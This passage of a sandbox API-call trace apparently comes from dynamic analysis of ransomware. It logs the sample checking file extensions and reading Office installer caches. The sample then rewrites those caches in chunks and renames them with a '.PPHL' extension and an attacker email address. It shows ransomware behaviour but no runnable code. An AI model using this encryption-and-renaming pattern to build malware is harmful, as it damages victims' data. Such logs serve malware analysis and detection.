Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0069.943] lstrlenW (lpString=".1cd") returned 4 [0069.943] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0069.943] lstrlenW (lpString=".jpg") returned 4 [0069.943] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0069.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0069.943] lstrlenW (lpString=".doc") returned 4 [0069.943] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0069.943] lstrlenW (lpString=".docx") returned 5 [0069.943] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0069.943] lstrlenW (lpString=".pdf") returned 4 [0069.943] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0069.943] lstrlenW (lpString=".xls") returned 4 [0069.943] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0069.943] lstrlenW (lpString=".xlsx") returned 5 [0069.943] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0069.943] lstrlenW (lpString=".ppt") returned 4 [0069.943] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0069.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0069.943] lstrlenW (lpString=".zip") returned 4 [0069.943] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0069.943] lstrlenW (lpString=".rar") returned 4 [0069.943] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0069.943] lstrlenW (lpString=".bz2") returned 4 [0069.943] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0069.944] lstrlenW (lpString=".7z") returned 3 [0069.944] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0069.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0069.944] lstrlenW (lpString=".dbf") returned 4 [0069.944] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0069.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0069.944] lstrlenW (lpString=".1cd") returned 4 [0069.944] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0069.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0069.944] lstrlenW (lpString=".jpg") returned 4 [0069.944] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.944] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0069.944] lstrlenW (lpString="Proofing.msi") returned 12 [0069.944] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0069.945] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=868864) returned 1 [0069.945] CloseHandle (hObject=0x1bc) returned 1 [0069.945] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0069.945] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0069.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0069.945] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.945] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0069.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0069.946] GetLastError () returned 0x0 [0069.946] ReadFile (in: hFile=0x1bc, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x32cfed4*=0xd4200, lpOverlapped=0x0) returned 1 [0069.976] WriteFile (in: hFile=0x1f0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0070.480] ReadFile (in: hFile=0x1bc, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0070.480] WriteFile (in: hFile=0x1f0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0070.480] SetEndOfFile (hFile=0x1f0) returned 1 [0070.480] CloseHandle (hObject=0x1f0) returned 1 [0070.489] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0070.489] SetEndOfFile (hFile=0x1bc) returned 1 [0070.500] CloseHandle (hObject=0x1bc) returned 1 [0070.500] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0070.500] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0070.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0070.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0070.500] lstrlenW (lpString=".doc") returned 4 [0070.500] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0070.501] lstrlenW (lpString=".docx") returned 5 [0070.501] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0070.501] lstrlenW (lpString=".pdf") returned 4 [0070.501] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0070.501] lstrlenW (lpString=".xls") returned 4 [0070.501] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0070.501] lstrlenW (lpString=".xlsx") returned 5 [0070.501] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0070.501] lstrlenW (lpString=".ppt") returned 4 [0070.501] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0070.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0070.501] lstrlenW (lpString=".zip") returned 4 [0070.501] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0070.501] lstrlenW (lpString=".rar") returned 4 [0070.501] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0070.501] lstrlenW (lpString=".bz2") returned 4 [0070.501] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0070.501] lstrlenW (lpString=".7z") returned 3 [0070.501] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0070.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0070.501] lstrlenW (lpString=".dbf") returned 4 [0070.501] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0070.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0070.501] lstrlenW (lpString=".1cd") returned 4 [0070.501] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0070.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0070.501] lstrlenW (lpString=".jpg") returned 4 [0070.501] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0070.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0070.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0070.502] lstrlenW (lpString=".doc") returned 4 [0070.502] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0070.502] lstrlenW (lpString=".docx") returned 5 [0070.502] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0070.502] lstrlenW (lpString=".pdf") returned 4 [0070.502] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0070.502] lstrlenW (lpString=".xls") returned 4 [0070.502] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0070.502] lstrlenW (lpString=".xlsx") returned 5 [0070.502] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0070.502] lstrlenW (lpString=".ppt") returned 4 [0070.502] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0070.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0070.502] lstrlenW (lpString=".zip") returned 4 [0070.502] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0070.502] lstrlenW (lpString=".rar") returned 4 [0070.502] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0070.502] lstrlenW (lpString=".bz2") returned 4 [0070.502] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0070.502] lstrlenW (lpString=".7z") returned 3 [0070.502] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0070.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0070.502] lstrlenW (lpString=".dbf") returned 4 [0070.502] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0070.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0070.502] lstrlenW (lpString=".1cd") returned 4 [0070.502] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0070.502] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0070.503] lstrlenW (lpString=".jpg") returned 4 [0070.503] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0070.503] lstrcmpiW (lpString1=".cab", lpString2=".PPHL") returned -1 [0070.503] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0070.503] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0070.503] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=2928955) returned 1 [0070.503] CloseHandle (hObject=0x1bc) returned 1 [0070.503] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0070.503] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0070.503] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0070.504] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0070.504] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0070.504] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0070.504] ReadFile (in: hFile=0x1bc, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.544] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0070.545] ReadFile (in: hFile=0x1bc, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0070.752] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0070.752] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0070.752] ReadFile (in: hFile=0x1bc, lpBuffer=0x3c50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c50058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.248] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.248] WriteFile (in: hFile=0x1bc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x32cfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0071.575] SetEndOfFile (hFile=0x1bc) returned 1 [0071.575] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fe3fc0 [0071.581] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0071.581] WriteFile (in: hFile=0x1bc, lpBuffer=0x3fe3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fc0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.583] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0071.583] WriteFile (in: hFile=0x1bc, lpBuffer=0x3fe3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fc0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.590] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc7c | out: lpNewFilePointer=0x0) returned 1 [0071.590] WriteFile (in: hFile=0x1bc, lpBuffer=0x3fe3fc0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fc0*, lpNumberOfBytesWritten=0x32cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.593] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fe3fc0 | out: hHeap=0x5d0000) returned 1 [0071.593] CloseHandle (hObject=0x1bc) returned 1 [0073.121] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0073.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0073.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0073.121] lstrlenW (lpString=".doc") returned 4 [0073.121] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0073.121] lstrlenW (lpString=".docx") returned 5 [0073.121] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0073.121] lstrlenW (lpString=".pdf") returned 4 [0073.121] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0073.121] lstrlenW (lpString=".xls") returned 4 [0073.121] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0073.121] lstrlenW (lpString=".xlsx") returned 5 [0073.121] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0073.121] lstrlenW (lpString=".ppt") returned 4 [0073.121] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0073.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0073.121] lstrlenW (lpString=".zip") returned 4 [0073.122] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0073.122] lstrlenW (lpString=".rar") returned 4 [0073.122] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0073.122] lstrlenW (lpString=".bz2") returned 4 [0073.122] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0073.122] lstrlenW (lpString=".7z") returned 3 [0073.122] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0073.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0073.122] lstrlenW (lpString=".dbf") returned 4 [0073.122] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0073.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0073.122] lstrlenW (lpString=".1cd") returned 4 [0073.122] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0073.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0073.122] lstrlenW (lpString=".jpg") returned 4 [0073.122] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0073.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0073.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0073.122] lstrlenW (lpString=".doc") returned 4 [0073.122] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0073.122] lstrlenW (lpString=".docx") returned 5 [0073.122] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0073.122] lstrlenW (lpString=".pdf") returned 4 [0073.122] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0073.122] lstrlenW (lpString=".xls") returned 4 [0073.122] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0073.122] lstrlenW (lpString=".xlsx") returned 5 [0073.122] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0073.122] lstrlenW (lpString=".ppt") returned 4 [0073.122] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0073.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0073.122] lstrlenW (lpString=".zip") returned 4 [0073.122] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0073.122] lstrlenW (lpString=".rar") returned 4 [0073.122] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0073.122] lstrlenW (lpString=".bz2") returned 4 [0073.123] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0073.123] lstrlenW (lpString=".7z") returned 3 [0073.123] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0073.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0073.123] lstrlenW (lpString=".dbf") returned 4 [0073.123] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0073.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0073.123] lstrlenW (lpString=".1cd") returned 4 [0073.123] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0073.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0073.123] lstrlenW (lpString=".jpg") returned 4 [0073.123] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0073.123] lstrcmpiW (lpString1=".msi", lpString2=".PPHL") returned -1 [0073.123] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0073.123] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0073.541] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=2511872) returned 1 [0073.543] CloseHandle (hObject=0x1f4) returned 1 [0073.543] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0073.543] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.543] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0073.562] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0073.564] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0x0) returned 1 [0073.564] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0073.564] ReadFile (in: hFile=0x1f4, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.575] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0073.575] ReadFile (in: hFile=0x1f4, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x32cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.587] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0073.587] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x32cfc2c | out: lpNewFilePointer=0x0) returned 1 [0073.587] ReadFile (in: hFile=0x1f4, lpBuffer=0x3c50058, 